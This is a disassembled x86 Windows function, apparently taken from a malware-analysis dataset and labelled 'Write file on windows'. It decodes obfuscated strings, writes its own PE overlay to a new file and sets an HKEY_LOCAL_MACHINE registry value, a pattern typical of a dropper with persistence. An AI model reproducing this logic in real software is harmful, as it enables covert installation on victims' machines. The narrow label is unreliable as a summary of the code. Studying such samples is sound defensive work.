Function at 0x401930
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4027e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x218
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push str.4KnLz_H8BPHr_l9vsC8Mvg_Pr6_P2_5fb7AvDL2vYA8fzw_AXzv9D3_vECA8vUAgG_5fz7AwLx8Muur7Cwy58
call fcn.004012b0
add esp, 4
push eax
call dword [sym.imp.dbghelp.dll_MakeSureDirectoryPathExists]
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x223]
mov byte [ebp - 0x224], bl
mov byte [ebp - 0x120], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x11f]
push str.4KnLz_H8BPHr_l9vsC8Mvg_Pr6_P2_5fb7AvDL2vYA8fzw_AXzv9D3_vECA8vUAgG_5fz7AwLx8Muur7Cwy_Dv_Pz78PW9AucCnw
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.004012b0
push eax
lea eax, [ebp - 0x120]
push 0x40455c
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [ebp - 0x224]
push 0x104
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.4KnLz_H8BPHr_l9vsC8Mvg_Pr6_P2_5fb7AvDL2vYA8fzw_AXzv9D3_vECA8vUAgG_5fz7AwLx8Muur7Cwy_Dv_Pz78PW9AucCnw
call fcn.004012b0
add esp, 4
mov esi, eax
lea ecx, [ebp - 0x224]
mov dl, byte [ecx]
mov al, dl
cmp dl, byte [esi]
jne 0x401a06
cmp al, bl
je 0x401a02
mov dl, byte [ecx + 1]
mov al, dl
cmp dl, byte [esi + 1]
jne 0x401a06
add ecx, 2
add esi, 2
cmp al, bl
jne 0x4019e2
xor eax, eax
jmp 0x401a0b
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x401afd
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push str.4KnLz_H8BPHr_l9vsC8Mvg_Pr6_P2_5fb7AvDL2vYA8fzw_AXzv9D3_vECA8vUAgG_5fz7AwLx8Muur7Cwy_Dv_Pz78PW9AucCnw
call fcn.004012b0
add esp, 4
push ebx
push 0x80
push 2
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, ebx
jne 0x401a61
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x1c]
push ebx
push eax
push pe_overlay
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x18]
push 0x4036b8
push ecx
mov dword [ebp - 0x18], 0x404558
call sub.MSVCRT.dll__CxxThrowException
lea edx, [ebp - 0x14]
xor ebx, ebx
push edx
push 0xf003f
push ebx
push str.0Nzl09Te0eLL2vYA8fzw_AXzy9T2_QP89PDL4PLx8QL989UC8fD2_P3L0fL9nw
call fcn.004012b0
add esp, 4
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401af7
lea edi, [ebp - 0x120]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 0x120]
push ecx
push eax
push 1
push ebx
push str.0PP8fO_5AICOHyAwPmnw
call fcn.004012b0
mov ecx, dword [ebp - 0x14]
add esp, 4
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x401af7
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x401a4e
ret
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret